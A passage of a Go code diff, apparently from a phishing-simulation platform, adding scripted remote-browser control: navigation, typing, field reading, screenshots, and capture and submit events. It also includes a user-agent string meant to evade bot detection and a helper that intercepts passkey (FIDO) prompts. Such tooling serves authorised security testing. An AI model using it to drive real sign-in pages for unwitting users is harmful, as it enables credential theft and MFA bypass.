if opt, err := repositories.Option.GetByKey(context.Background(), data.OptionKeyRemoteBrowserWSPath); err == nil {
rbWSPath = opt.Value.String()
}
adminServer := app.NewAdministrationServer(
adminRouter,
controllers,
@@ -363,6 +370,7 @@ func main() {
repositories,
logger,
certMagicConfig,
rbWSPath,
)
var r *gin.Engine
+105
View File
@@ -0,0 +1,105 @@
package model
import (
"encoding/json"
"fmt"
"time"
"github.com/google/uuid"
"github.com/oapi-codegen/nullable"
"github.com/phishingclub/phishingclub/validate"
"github.com/phishingclub/phishingclub/vo"
)
// RemoteBrowserConfig is the API-level config for a remote browser session.
type RemoteBrowserConfig struct {
Mode string `json:"mode"` // "local" | "remote"
Remote string `json:"remote"` // DevTools WS URL (mode=remote only)
Proxy string `json:"proxy"` // socks5:// or http://
Headless bool `json:"headless"` // run Chrome headless (mode=local)
Timeout int `json:"timeout"` // ms; 0 = default (60000)
}
// RemoteBrowser is a saved remote browser script with its connection config.
type RemoteBrowser struct {
ID nullable.Nullable[uuid.UUID] `json:"id"`
CreatedAt *time.Time `json:"createdAt"`
UpdatedAt *time.Time `json:"updatedAt"`
CompanyID nullable.Nullable[uuid.UUID] `json:"companyID"`
Name nullable.Nullable[vo.String64] `json:"name"`
Description nullable.Nullable[vo.OptionalString1024] `json:"description"`
Script nullable.Nullable[vo.String1MB] `json:"script"`
Config nullable.Nullable[RemoteBrowserConfig] `json:"config"`
Company *Company `json:"-"`
}
// Validate checks required fields and config values.
func (m *RemoteBrowser) Validate() error {
if err := validate.NullableFieldRequired("name", m.Name); err != nil {
return err
}
if err := validate.NullableFieldRequired("script", m.Script); err != nil {
return err
}
if m.Config.IsSpecified() {
if cfg, err := m.Config.Get(); err == nil {
if cfg.Mode != "" && cfg.Mode != "local" && cfg.Mode != "remote" {
return fmt.Errorf("config.mode must be 'local' or 'remote'")
}
if cfg.Mode == "remote" && cfg.Remote == "" {
return fmt.Errorf("config.remote is required when mode is 'remote'")
}
}
}
return nil
}
// ToDBMap returns the fields that should be persisted.
func (m *RemoteBrowser) ToDBMap() map[string]any {
dbMap := map[string]any{}
if m.Name.IsSpecified() {
dbMap["name"] = nil
if name, err := m.Name.Get(); err == nil {
dbMap["name"] = name.String()
}
}
if m.Description.IsSpecified() {
dbMap["description"] = nil
if description, err := m.Description.Get(); err == nil {
dbMap["description"] = description.String()
}
}
if m.Script.IsSpecified() {
dbMap["script"] = nil
if script, err := m.Script.Get(); err == nil {
dbMap["script"] = script.String()
}
}
if m.Config.IsSpecified() {
dbMap["config"] = ""
if cfg, err := m.Config.Get(); err == nil {
if b, err := json.Marshal(cfg); err == nil {
dbMap["config"] = string(b)
}
}
}
if m.CompanyID.IsSpecified() {
if m.CompanyID.IsNull() {
dbMap["company_id"] = nil
} else {
dbMap["company_id"] = m.CompanyID.MustGet()
}
}
return dbMap
}
// RemoteBrowserOverview is a lightweight listing model.
type RemoteBrowserOverview struct {
ID uuid.UUID `json:"id,omitempty"`
CreatedAt *time.Time `json:"createdAt"`
UpdatedAt *time.Time `json:"updatedAt"`
Name string `json:"name"`
Description string `json:"description"`
CompanyID *uuid.UUID `json:"companyID"`
}
+751
View File
@@ -0,0 +1,751 @@
package remotebrowser
import (
"context"
"errors"
"fmt"
"strings"
"time"
"github.com/dop251/goja"
"github.com/go-rod/rod"
"github.com/go-rod/rod/lib/input"
"github.com/go-rod/rod/lib/proto"
)
// RegisterBrowserBindings wires up all rod actions as callable JS functions
// on the provided target object. All actions block until completion.
// emitter may be nil (e.g. in withTimeout sub-sessions); screenshots and debug logs
// are silently dropped when nil. debug adds before/after log lines for every action.
//
// Debug symbol legend:
//
// → action starting ✓ action done … waiting ? reading = result value
func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page, emitter *channelEmitter, debug bool, queryTimeout int) {
must := func(err error) {
if err != nil {
panic(vm.NewGoError(err))
}
}
// argStr returns the string value of a goja argument, or "" for undefined/null.
argStr := func(v goja.Value) string {
if goja.IsUndefined(v) || goja.IsNull(v) {
return ""
}
return v.String()
}
dbg := func(msg string) {
if debug && emitter != nil {
emitter.log("[dbg] " + msg)
}
}
// readPage returns a page for read-only CDP queries (getNodeCount, getText,
// evaluate, screenshot, …). When queryTimeout > 0 it is bounded so a stalled
// browser can't freeze the goja listen loop. 0 means no extra timeout.
readPage := func() (*rod.Page, func()) {
if queryTimeout > 0 {
tCtx, cancel := context.WithTimeout(page.GetContext(), time.Duration(queryTimeout)*time.Millisecond)
return page.Context(tCtx), cancel
}
return page, func() {}
}
// collectSelectors returns all non-empty string arguments as CSS selectors.
collectSelectors := func(call goja.FunctionCall) []string {
var sels []string
for _, a := range call.Arguments {
if s := argStr(a); s != "" {
sels = append(sels, s)
}
}
if len(sels) == 0 {
panic(vm.NewTypeError("at least one selector is required"))
}
return sels
}
// pollUntilAny polls condJS (a JS function expression) every 100 ms until it
// returns a non-empty / non-null string, which is treated as the matched selector.
pollUntilAny := func(condJS string) (string, error) {
ticker := time.NewTicker(100 * time.Millisecond)
defer ticker.Stop()
for {
select {
case <-page.GetContext().Done():
return "", page.GetContext().Err()
case <-ticker.C:
res, err := page.Eval(condJS)
if err != nil {
return "", err
}
if s := res.Value.Str(); s != "" && s != "null" && s != "undefined" {
return s, nil
}
}
}
}
// -------------------------------------------------------------------------
// Navigation
// -------------------------------------------------------------------------
pc.Set("navigate", func(call goja.FunctionCall) goja.Value {
rawURL := argStr(call.Argument(0))
dbg("→ navigate " + rawURL)
must(ValidateNavigateURL(rawURL))
must(page.Navigate(rawURL))
must(page.WaitLoad())
dbg("✓ navigate " + rawURL)
return goja.Undefined()
})
// navigateToHistoryOffset navigates by history offset without waiting for
// a load event (avoids deadlock on cached pages).
navigateToHistoryOffset := func(offset int) error {
res, err := proto.PageGetNavigationHistory{}.Call(page)
if err != nil {
return err
}
targetIndex := res.CurrentIndex + offset
if targetIndex < 0 || targetIndex >= len(res.Entries) {
return fmt.Errorf("no history entry at offset %d", offset)
}
targetEntry := res.Entries[targetIndex]
targetURL := targetEntry.URL
navCmd := proto.PageNavigateToHistoryEntry{EntryID: targetEntry.ID}
if err := navCmd.Call(page); err != nil {
return err
}
deadline := time.Now().Add(30 * time.Second)
for time.Now().Before(deadline) {
info, err := page.Info()
if err != nil {
return err
}
if info.URL == targetURL {
return nil
}
select {
case <-page.GetContext().Done():
return page.GetContext().Err()
case <-time.After(50 * time.Millisecond):
}
}
return fmt.Errorf("timed out waiting for navigation to %s", targetURL)
}
pc.Set("navigateBack", func(call goja.FunctionCall) goja.Value {
dbg("→ navigateBack")
must(navigateToHistoryOffset(-1))
dbg("✓ navigateBack")
return goja.Undefined()
})
pc.Set("navigateForward", func(call goja.FunctionCall) goja.Value {
dbg("→ navigateForward")
must(navigateToHistoryOffset(+1))
dbg("✓ navigateForward")
return goja.Undefined()
})
pc.Set("reload", func(call goja.FunctionCall) goja.Value {
dbg("→ reload")
must(page.Reload())
dbg("✓ reload")
return goja.Undefined()
})
pc.Set("stop", func(call goja.FunctionCall) goja.Value {
dbg("→ stop")
must(proto.PageStopLoading{}.Call(page))
dbg("✓ stop")
return goja.Undefined()
})
pc.Set("location", func(call goja.FunctionCall) goja.Value {
info, err := page.Info()
must(err)
dbg("= location " + info.URL)
return vm.ToValue(info.URL)
})
pc.Set("title", func(call goja.FunctionCall) goja.Value {
info, err := page.Info()
must(err)
dbg("= title " + info.Title)
return vm.ToValue(info.Title)
})
// -------------------------------------------------------------------------
// Waiting — all methods accept one or more selectors and return the first
// selector that satisfies the condition.
// -------------------------------------------------------------------------
pc.Set("waitVisible", func(call goja.FunctionCall) goja.Value {
sels := collectSelectors(call)
dbg(fmt.Sprintf("… waitVisible %v", sels))
var parts []string
for _, sel := range sels {
// Re-queries the document every tick; non-zero bounding box = visible.
parts = append(parts, fmt.Sprintf(
"(()=>{var el=document.querySelector(%q);if(!el)return null;var b=el.getBoundingClientRect();return(b.width!==0||b.height!==0)?%q:null})()",
sel, sel,
))
}
matched, err := pollUntilAny(fmt.Sprintf("()=>{return %s}", strings.Join(parts, "||")))
must(err)
dbg("✓ waitVisible " + matched)
return vm.ToValue(matched)
})
pc.Set("waitReady", func(call goja.FunctionCall) goja.Value {
sels := collectSelectors(call)
dbg(fmt.Sprintf("… waitReady %v", sels))
var parts []string
for _, sel := range sels {
parts = append(parts, fmt.Sprintf(
"(()=>{var el=document.querySelector(%q);if(!el||el.disabled)return null;var b=el.getBoundingClientRect();return(b.width!==0||b.height!==0)?%q:null})()",
sel, sel,
))
}
matched, err := pollUntilAny(fmt.Sprintf("()=>{return %s}", strings.Join(parts, "||")))
must(err)
dbg("✓ waitReady " + matched)
return vm.ToValue(matched)
})
pc.Set("waitEnabled", func(call goja.FunctionCall) goja.Value {
sels := collectSelectors(call)
dbg(fmt.Sprintf("… waitEnabled %v", sels))
var parts []string
for _, sel := range sels {
parts = append(parts, fmt.Sprintf(
"(()=>{var el=document.querySelector(%q);return(el&&!el.disabled)?%q:null})()",
sel, sel,
))
}
matched, err := pollUntilAny(fmt.Sprintf("()=>{return %s}", strings.Join(parts, "||")))
must(err)
dbg("✓ waitEnabled " + matched)
return vm.ToValue(matched)
})
pc.Set("waitSelected", func(call goja.FunctionCall) goja.Value {
sels := collectSelectors(call)
dbg(fmt.Sprintf("… waitSelected %v", sels))
var parts []string
for _, sel := range sels {
parts = append(parts, fmt.Sprintf("(()=>{var el=document.querySelector(%q);return el&&el.selected?%q:null})()", sel, sel))
}
matched, err := pollUntilAny(fmt.Sprintf("()=>{return %s}", strings.Join(parts, "||")))
must(err)
dbg("✓ waitSelected " + matched)
return vm.ToValue(matched)
})
pc.Set("waitNotVisible", func(call goja.FunctionCall) goja.Value {
sels := collectSelectors(call)
dbg(fmt.Sprintf("… waitNotVisible %v", sels))
var parts []string
for _, sel := range sels {
parts = append(parts, fmt.Sprintf("(()=>{var el=document.querySelector(%q);return !el||el.offsetParent===null?%q:null})()", sel, sel))
}
matched, err := pollUntilAny(fmt.Sprintf("()=>{return %s}", strings.Join(parts, "||")))
must(err)
dbg("✓ waitNotVisible " + matched)
return vm.ToValue(matched)
})
pc.Set("waitNotPresent", func(call goja.FunctionCall) goja.Value {
sels := collectSelectors(call)
dbg(fmt.Sprintf("… waitNotPresent %v", sels))
var parts []string
for _, sel := range sels {
parts = append(parts, fmt.Sprintf("(!document.querySelector(%q)?%q:null)", sel, sel))
}
matched, err := pollUntilAny(fmt.Sprintf("()=>{return %s}", strings.Join(parts, "||")))
must(err)
dbg("✓ waitNotPresent " + matched)
return vm.ToValue(matched)
})
// -------------------------------------------------------------------------
// Mouse
// -------------------------------------------------------------------------
pc.Set("click", func(call goja.FunctionCall) goja.Value {
sel := argStr(call.Argument(0))
dbg("→ click " + sel)
el, err := page.Element(sel)
must(err)
if err = el.Click(proto.InputMouseButtonLeft, 1); err != nil {
var npe *rod.NoPointerEventsError
if errors.As(err, &npe) {
_, evalErr := el.Eval(`() => this.click()`)
must(evalErr)
} else {
must(err)
}
}
dbg("✓ click " + sel)
return goja.Undefined()
})
pc.Set("doubleClick", func(call goja.FunctionCall) goja.Value {
sel := argStr(call.Argument(0))
dbg("→ doubleClick " + sel)
el, err := page.Element(sel)
must(err)
if err = el.Click(proto.InputMouseButtonLeft, 2); err != nil {
var npe *rod.NoPointerEventsError
if errors.As(err, &npe) {
_, evalErr := el.Eval(`() => { this.click(); this.click(); }`)
must(evalErr)
} else {
must(err)
}
}
dbg("✓ doubleClick " + sel)
return goja.Undefined()
})
pc.Set("clickXY", func(call goja.FunctionCall) goja.Value {
x := call.Argument(0).ToFloat()
y := call.Argument(1).ToFloat()
dbg(fmt.Sprintf("→ clickXY %.0f,%.0f", x, y))
must(page.Mouse.MoveTo(proto.Point{X: x, Y: y}))
must(page.Mouse.Click(proto.InputMouseButtonLeft, 1))
dbg(fmt.Sprintf("✓ clickXY %.0f,%.0f", x, y))
return goja.Undefined()
})
pc.Set("scrollIntoView", func(call goja.FunctionCall) goja.Value {
sel := argStr(call.Argument(0))
dbg("→ scrollIntoView " + sel)
el, err := page.Element(sel)
must(err)
must(el.ScrollIntoView())
dbg("✓ scrollIntoView " + sel)
return goja.Undefined()
})
// -------------------------------------------------------------------------
// Keyboard
// -------------------------------------------------------------------------
pc.Set("sendKeys", func(call goja.FunctionCall) goja.Value {
sel := argStr(call.Argument(0))
text := argStr(call.Argument(1))
dbg(fmt.Sprintf("→ sendKeys %s (%d chars)", sel, len(text)))
el, err := page.Element(sel)
must(err)
must(el.Focus())
must(page.InsertText(text))
dbg("✓ sendKeys " + sel)
return goja.Undefined()
})
// namedKeys maps CDP/browser key name strings to rod input.Key constants.
// For single-character keys the rune value is used directly as a fallback.
namedKeys := map[string]input.Key{
"Enter": input.Enter, "Return": input.Enter,
"Tab": input.Tab, "Escape": input.Escape, "Backspace": input.Backspace,
"Delete": input.Delete, "Insert": input.Insert,
"Home": input.Home, "End": input.End,
"PageUp": input.PageUp, "PageDown": input.PageDown,
"ArrowLeft": input.ArrowLeft, "ArrowRight": input.ArrowRight,
"ArrowUp": input.ArrowUp, "ArrowDown": input.ArrowDown,
" ": input.Space, "Space": input.Space,
"F1": input.F1, "F2": input.F2, "F3": input.F3, "F4": input.F4,
"F5": input.F5, "F6": input.F6, "F7": input.F7, "F8": input.F8,
"F9": input.F9, "F10": input.F10, "F11": input.F11, "F12": input.F12,
"ShiftLeft": input.ShiftLeft, "ShiftRight": input.ShiftRight,
"ControlLeft": input.ControlLeft, "ControlRight": input.ControlRight,
"AltLeft": input.AltLeft, "AltRight": input.AltRight,
}
pc.Set("keyEvent", func(call goja.FunctionCall) goja.Value {
key := argStr(call.Argument(0))
dbg("→ keyEvent " + key)
if k, ok := namedKeys[key]; ok {
must(page.Keyboard.Press(k))
} else {
runes := []rune(key)
if len(runes) > 0 {
must(page.Keyboard.Press(input.Key(runes[0])))
}
}
dbg("✓ keyEvent " + key)
return goja.Undefined()
})
// -------------------------------------------------------------------------
// Form
// -------------------------------------------------------------------------
pc.Set("clear", func(call goja.FunctionCall) goja.Value {
sel := argStr(call.Argument(0))
dbg("→ clear " + sel)
script := fmt.Sprintf(`() => {
var el = document.querySelector(%q);
if (!el) return;
var nativeInput = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, 'value')
|| Object.getOwnPropertyDescriptor(window.HTMLTextAreaElement.prototype, 'value');
if (nativeInput && nativeInput.set) {
nativeInput.set.call(el, '');
} else {
el.value = '';
}
el.dispatchEvent(new Event('input', { bubbles: true }));
el.dispatchEvent(new Event('change', { bubbles: true }));
}`, sel)
_, err := page.Eval(script)
must(err)
dbg("✓ clear " + sel)
return goja.Undefined()
})
pc.Set("focus", func(call goja.FunctionCall) goja.Value {
sel := argStr(call.Argument(0))
dbg("→ focus " + sel)
el, err := page.Element(sel)
must(err)
must(el.Focus())
dbg("✓ focus " + sel)
return goja.Undefined()
})
pc.Set("blur", func(call goja.FunctionCall) goja.Value {
sel := argStr(call.Argument(0))
dbg("→ blur " + sel)
_, err := page.Eval(fmt.Sprintf("() => { const el = document.querySelector(%q); if(el) el.blur() }", sel))
must(err)
dbg("✓ blur " + sel)
return goja.Undefined()
})
pc.Set("submit", func(call goja.FunctionCall) goja.Value {
sel := argStr(call.Argument(0))
dbg("→ submit " + sel)
_, err := page.Eval(fmt.Sprintf("() => { const el = document.querySelector(%q); if(el) el.submit() }", sel))
must(err)
dbg("✓ submit " + sel)
return goja.Undefined()
})
pc.Set("setValue", func(call goja.FunctionCall) goja.Value {
sel := argStr(call.Argument(0))
val := argStr(call.Argument(1))
dbg(fmt.Sprintf("→ setValue %s = %q", sel, val))
el, err := page.Element(sel)
must(err)
must(el.Input(val))
dbg("✓ setValue " + sel)
return goja.Undefined()
})
pc.Set("getValue", func(call goja.FunctionCall) goja.Value {
sel := argStr(call.Argument(0))
dbg("? getValue " + sel)
rPage, rCancel := readPage()
defer rCancel()
el, err := rPage.Element(sel)
must(err)
prop, err := el.Property("value")
must(err)
val := prop.Str()
dbg(fmt.Sprintf("= getValue %s %q", sel, val))
return vm.ToValue(val)
})
// -------------------------------------------------------------------------
// DOM reading
// -------------------------------------------------------------------------
pc.Set("getText", func(call goja.FunctionCall) goja.Value {
sel := argStr(call.Argument(0))
dbg("? getText " + sel)
rPage, rCancel := readPage()
defer rCancel()
el, err := rPage.Element(sel)
must(err)
text, err := el.Text()
must(err)
dbg(fmt.Sprintf("= getText %s %q", sel, text))
return vm.ToValue(text)
})
pc.Set("getTextContent", func(call goja.FunctionCall) goja.Value {
sel := argStr(call.Argument(0))
dbg("? getTextContent " + sel)
rPage, rCancel := readPage()
defer rCancel()
el, err := rPage.Element(sel)
must(err)
res, err := el.Eval("() => this.textContent")
must(err)
text := res.Value.Str()
dbg(fmt.Sprintf("= getTextContent %s %q", sel, text))
return vm.ToValue(text)
})
pc.Set("getInnerHTML", func(call goja.FunctionCall) goja.Value {
sel := argStr(call.Argument(0))
dbg("? getInnerHTML " + sel)
rPage, rCancel := readPage()
defer rCancel()
el, err := rPage.Element(sel)
must(err)
res, err := el.Eval("() => this.innerHTML")
must(err)
html := res.Value.Str()
dbg(fmt.Sprintf("= getInnerHTML %s (%d bytes)", sel, len(html)))
return vm.ToValue(html)
})
pc.Set("getOuterHTML", func(call goja.FunctionCall) goja.Value {
sel := argStr(call.Argument(0))
dbg("? getOuterHTML " + sel)
rPage, rCancel := readPage()
defer rCancel()
el, err := rPage.Element(sel)
must(err)
html, err := el.HTML()
must(err)
dbg(fmt.Sprintf("= getOuterHTML %s (%d bytes)", sel, len(html)))
return vm.ToValue(html)
})
pc.Set("getAttribute", func(call goja.FunctionCall) goja.Value {
sel := argStr(call.Argument(0))
attr := argStr(call.Argument(1))
dbg(fmt.Sprintf("? getAttribute %s[%s]", sel, attr))
rPage, rCancel := readPage()
defer rCancel()
el, err := rPage.Element(sel)
must(err)
val, err := el.Attribute(attr)
must(err)
if val == nil {
dbg(fmt.Sprintf("= getAttribute %s[%s] null", sel, attr))
return goja.Null()
}
dbg(fmt.Sprintf("= getAttribute %s[%s] %q", sel, attr, *val))
return vm.ToValue(*val)
})
pc.Set("getAttributes", func(call goja.FunctionCall) goja.Value {
sel := argStr(call.Argument(0))
dbg("? getAttributes " + sel)
rPage, rCancel := readPage()
defer rCancel()
res, err := rPage.Eval(fmt.Sprintf("() => { const el = document.querySelector(%q); if (!el) return {}; return Object.fromEntries([...el.attributes].map(a => [a.name, a.value])) }", sel))
must(err)
dbg(fmt.Sprintf("= getAttributes %s", sel))
return vm.ToValue(res.Value.Val())
})
pc.Set("setAttribute", func(call goja.FunctionCall) goja.Value {
sel := argStr(call.Argument(0))
attr := argStr(call.Argument(1))
val := argStr(call.Argument(2))
dbg(fmt.Sprintf("→ setAttribute %s[%s] = %q", sel, attr, val))
_, err := page.Eval(fmt.Sprintf("() => { const el = document.querySelector(%q); if(el) el.setAttribute(%q, %q) }", sel, attr, val))
must(err)
dbg(fmt.Sprintf("✓ setAttribute %s[%s]", sel, attr))
return goja.Undefined()
})
pc.Set("removeAttribute", func(call goja.FunctionCall) goja.Value {
sel := argStr(call.Argument(0))
attr := argStr(call.Argument(1))
dbg(fmt.Sprintf("→ removeAttribute %s[%s]", sel, attr))
_, err := page.Eval(fmt.Sprintf("() => { const el = document.querySelector(%q); if(el) el.removeAttribute(%q) }", sel, attr))
must(err)
dbg(fmt.Sprintf("✓ removeAttribute %s[%s]", sel, attr))
return goja.Undefined()
})
pc.Set("getJSAttribute", func(call goja.FunctionCall) goja.Value {
sel := argStr(call.Argument(0))
attr := argStr(call.Argument(1))
dbg(fmt.Sprintf("? getJSAttribute %s.%s", sel, attr))
rPage, rCancel := readPage()
defer rCancel()
el, err := rPage.Element(sel)
must(err)
prop, err := el.Property(attr)
must(err)
dbg(fmt.Sprintf("= getJSAttribute %s.%s %v", sel, attr, prop.Val()))
return vm.ToValue(prop.Val())
})
pc.Set("setJSAttribute", func(call goja.FunctionCall) goja.Value {
sel := argStr(call.Argument(0))
attr := argStr(call.Argument(1))
val := argStr(call.Argument(2))
dbg(fmt.Sprintf("→ setJSAttribute %s.%s = %q", sel, attr, val))
_, err := page.Eval(fmt.Sprintf("() => { const el = document.querySelector(%q); if(el) el[%q] = %q }", sel, attr, val))
must(err)
dbg(fmt.Sprintf("✓ setJSAttribute %s.%s", sel, attr))
return goja.Undefined()
})
pc.Set("getNodeCount", func(call goja.FunctionCall) goja.Value {
sel := argStr(call.Argument(0))
dbg("? getNodeCount " + sel)
rPage, rCancel := readPage()
defer rCancel()
els, err := rPage.Elements(sel)
if err != nil {
return vm.ToValue(0)
}
dbg(fmt.Sprintf("= getNodeCount %s %d", sel, len(els)))
return vm.ToValue(len(els))
})
// -------------------------------------------------------------------------
// JavaScript evaluation
// -------------------------------------------------------------------------
pc.Set("evaluate", func(call goja.FunctionCall) goja.Value {
dbg("→ evaluate")
expr := argStr(call.Argument(0))
rPage, rCancel := readPage()
defer rCancel()
res, err := proto.RuntimeEvaluate{Expression: expr}.Call(rPage)
must(err)
result := res.Result.Value.Val()
dbg(fmt.Sprintf("= evaluate %v", result))
return vm.ToValue(result)
})
// -------------------------------------------------------------------------
// Screenshots
// -------------------------------------------------------------------------
pc.Set("screenshot", func(call goja.FunctionCall) goja.Value {
name := argStr(call.Argument(0))
dbg("→ screenshot " + name)
rPage, rCancel := readPage()
defer rCancel()
info, _ := rPage.Info()
buf, err := rPage.Screenshot(true, nil)
if err != nil {
if emitter != nil {
emitter.log(fmt.Sprintf("[screenshot] %s: %s", name, err))
}
return goja.Undefined()
}
pageURL := ""
if info != nil {
pageURL = info.URL
}
if emitter != nil {
emitter.screenshot(name, buf, pageURL)
}
dbg("✓ screenshot " + name)
return goja.Undefined()
})
pc.Set("screenshotElement", func(call goja.FunctionCall) goja.Value {
sel := argStr(call.Argument(0))
name := argStr(call.Argument(1))
dbg(fmt.Sprintf("→ screenshotElement %s as %s", sel, name))
rPage, rCancel := readPage()
defer rCancel()
info, _ := rPage.Info()
el, err := rPage.Element(sel)
must(err)
must(el.WaitVisible())
buf, err := el.Screenshot("", 0)
if err != nil {
if emitter != nil {
emitter.log(fmt.Sprintf("[screenshot] %s: %s", name, err))
}
return goja.Undefined()
}
pageURL := ""
if info != nil {
pageURL = info.URL
}
if emitter != nil {
emitter.screenshot(name, buf, pageURL)
}
dbg("✓ screenshotElement " + name)
return goja.Undefined()
})
// -------------------------------------------------------------------------
// Viewport & emulation
// -------------------------------------------------------------------------
pc.Set("setViewport", func(call goja.FunctionCall) goja.Value {
w := call.Argument(0).ToInteger()
h := call.Argument(1).ToInteger()
dbg(fmt.Sprintf("→ setViewport %dx%d", w, h))
must(proto.EmulationSetDeviceMetricsOverride{
Width: int(w), Height: int(h), DeviceScaleFactor: 1,
}.Call(page))
dbg(fmt.Sprintf("✓ setViewport %dx%d", w, h))
return goja.Undefined()
})
pc.Set("setViewportMobile", func(call goja.FunctionCall) goja.Value {
w := call.Argument(0).ToInteger()
h := call.Argument(1).ToInteger()
dbg(fmt.Sprintf("→ setViewportMobile %dx%d", w, h))
must(proto.EmulationSetDeviceMetricsOverride{
Width: int(w), Height: int(h), DeviceScaleFactor: 1,
Mobile: true,
}.Call(page))
must(proto.EmulationSetTouchEmulationEnabled{Enabled: true}.Call(page))
dbg(fmt.Sprintf("✓ setViewportMobile %dx%d", w, h))
return goja.Undefined()
})
pc.Set("resetViewport", func(call goja.FunctionCall) goja.Value {
dbg("→ resetViewport")
must(proto.EmulationClearDeviceMetricsOverride{}.Call(page))
dbg("✓ resetViewport")
return goja.Undefined()
})
pc.Set("setUserAgent", func(call goja.FunctionCall) goja.Value {
ua := argStr(call.Argument(0))
dbg("→ setUserAgent " + ua)
must(proto.EmulationSetUserAgentOverride{UserAgent: ua}.Call(page))
dbg("✓ setUserAgent")
return goja.Undefined()
})
// -------------------------------------------------------------------------
// Utility
// -------------------------------------------------------------------------
pc.Set("wait", func(call goja.FunctionCall) goja.Value {
ms := call.Argument(0).ToInteger()
dbg(fmt.Sprintf("→ wait %dms", ms))
select {
case <-page.GetContext().Done():
must(page.GetContext().Err())
case <-time.After(time.Duration(ms) * time.Millisecond):
}
dbg(fmt.Sprintf("✓ wait %dms", ms))
return goja.Undefined()
})
// disableFidoUI enables the CDP WebAuthn virtual authenticator environment.
// In this mode Chrome intercepts WebAuthn/FIDO requests via CDP instead of
// showing the native "Passkeys & Security Keys" browser dialog, so DOM
// interactions remain possible while on the FIDO page.
pc.Set("disableFidoUI", func(call goja.FunctionCall) goja.Value {
dbg("→ disableFidoUI")
must(proto.WebAuthnEnable{}.Call(page))
dbg("✓ disableFidoUI")
return goja.Undefined()
})
}
+115
View File
@@ -0,0 +1,115 @@
package remotebrowser
import (
"encoding/base64"
"sync"
"time"
)
// RunEvent is an event emitted during script execution.
type RunEvent struct {
Type string `json:"type"` // "event", "log", "error", "done", "capture", "screenshot", "info", "submit"
Key string `json:"key,omitempty"` // for type=event/screenshot (label)
Value any `json:"value,omitempty"` // for type=event/capture/screenshot/submit (base64 data URI or arbitrary data)
URL string `json:"url,omitempty"` // for type=screenshot (page URL at capture time)
Message string `json:"message,omitempty"` // for type=log/error/info
Data any `json:"data,omitempty"` // for type=log: optional second arg from log(msg, data)
Time string `json:"time"`
}
// channelEmitter sends events to a channel in a thread-safe way.
type channelEmitter struct {
mu sync.Mutex
events chan RunEvent
}
func newChannelEmitter(events chan RunEvent) *channelEmitter {
return &channelEmitter{events: events}
}
func (e *channelEmitter) emit(key string, value any) {
e.send(RunEvent{
Type: "event",
Key: key,
Value: value,
Time: time.Now().UTC().Format(time.RFC3339Nano),
})
}
func (e *channelEmitter) log(msg string, data ...any) {
evt := RunEvent{
Type: "log",
Message: msg,
Time: time.Now().UTC().Format(time.RFC3339Nano),
}
if len(data) > 0 {
evt.Data = data[0]
}
e.send(evt)
}
func (e *channelEmitter) errorf(msg string) {
e.send(RunEvent{
Type: "error",
Message: msg,
Time: time.Now().UTC().Format(time.RFC3339Nano),
})
}
func (e *channelEmitter) screenshot(label string, buf []byte, pageURL string) {
e.send(RunEvent{
Type: "screenshot",
Key: label,
Value: "data:image/png;base64," + base64.StdEncoding.EncodeToString(buf),
URL: pageURL,
Time: time.Now().UTC().Format(time.RFC3339Nano),
})
}
func (e *channelEmitter) capture(data interface{}) {
e.send(RunEvent{
Type: "capture",
Value: data,
Time: time.Now().UTC().Format(time.RFC3339Nano),
})
}
func (e *channelEmitter) info(msg string) {
e.send(RunEvent{
Type: "info",
Message: msg,
Time: time.Now().UTC().Format(time.RFC3339Nano),
})
}
func (e *channelEmitter) submitData(data interface{}) {
e.send(RunEvent{
Type: "submit",
Value: data,
Time: time.Now().UTC().Format(time.RFC3339Nano),
})
}
func (e *channelEmitter) done() {
e.send(RunEvent{
Type: "done",
Time: time.Now().UTC().Format(time.RFC3339Nano),
})
}
func (e *channelEmitter) send(evt RunEvent) {
e.mu.Lock()
defer e.mu.Unlock()
select {
case e.events <- evt:
default:
}
}
// sendMust sends an event and blocks until it is accepted. Used for critical
// events (keep_alive) where a silent drop would corrupt session state.
func (e *channelEmitter) sendMust(evt RunEvent) {
e.mu.Lock()
defer e.mu.Unlock()
e.events <- evt
}
+34
View File
@@ -0,0 +1,34 @@
package remotebrowser
import (
"fmt"
"net/url"
)
// ValidateNavigateURL blocks schemes that are dangerous when driven via CDP.
// chromedp.Navigate is a raw CDP command that bypasses Chrome's normal security
// context - file://, javascript: and data: are blocked by Chrome when triggered
// from within a page, but not when issued directly over DevTools.
// Exported so the controller's control-mode input dispatcher can reuse it.
func ValidateNavigateURL(raw string) error {
if raw == "" {
return fmt.Errorf("empty URL")
}
u, err := url.Parse(raw)
if err != nil {
return fmt.Errorf("invalid URL: %w", err)
}
switch u.Scheme {
case "http", "https":
default:
return fmt.Errorf("scheme %q not allowed, only http and https are permitted", u.Scheme)
}
if u.Hostname() == "" {
return fmt.Errorf("URL has no host")
}
return nil
}
+729
View File
@@ -0,0 +1,729 @@
package remotebrowser
import (
"context"
"encoding/json"
"fmt"
"os"
"path/filepath"
"strings"
"time"
"github.com/dop251/goja"
"github.com/go-rod/rod"
"github.com/go-rod/rod/lib/launcher"
"github.com/go-rod/rod/lib/proto"
)
// Config holds browser connection and execution settings configurable by platform admins.
type Config struct {
Mode string `json:"mode"` // "local" or "remote"
Remote string `json:"remote"` // DevTools WS URL (mode=remote)
Proxy string `json:"proxy"` // socks5:// or http:// (mode=local)
Headless bool `json:"headless"` // run Chrome in headless mode (mode=local)
Timeout int `json:"timeout"` // ms, 0 = use DefaultTimeout
}
const DefaultTimeout = 60_000 // ms
// DefaultChromiumUA is a realistic non-headless Chrome UA used when headless=true
// and no explicit userAgent is configured. Prevents "HeadlessChrome" from leaking
// into the User-Agent header, which triggers bot-detection on many sites.
const DefaultChromiumUA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
// DefaultConfig returns a sensible default config.
func DefaultConfig() Config {
return Config{
Mode: "local",
Timeout: DefaultTimeout,
}
}
// ParseConfig parses a JSON config string, returning defaults for empty input.
func ParseConfig(raw string) (Config, error) {
cfg := DefaultConfig()
if raw == "" {
return cfg, nil
}
if err := json.Unmarshal([]byte(raw), &cfg); err != nil {
return cfg, err
}
if cfg.Timeout <= 0 {
cfg.Timeout = DefaultTimeout
}
if cfg.Mode != "remote" {
cfg.Remote = ""
}
return cfg, nil
}
// chromeEnv builds a minimal environment for the Chrome subprocess, plus any
// caller-supplied overrides. Passing os.Environ() to Chrome leaks server
// secrets (DATABASE_URL, API keys, etc.) into the renderer process.
// Only variables Chrome actually needs are forwarded.
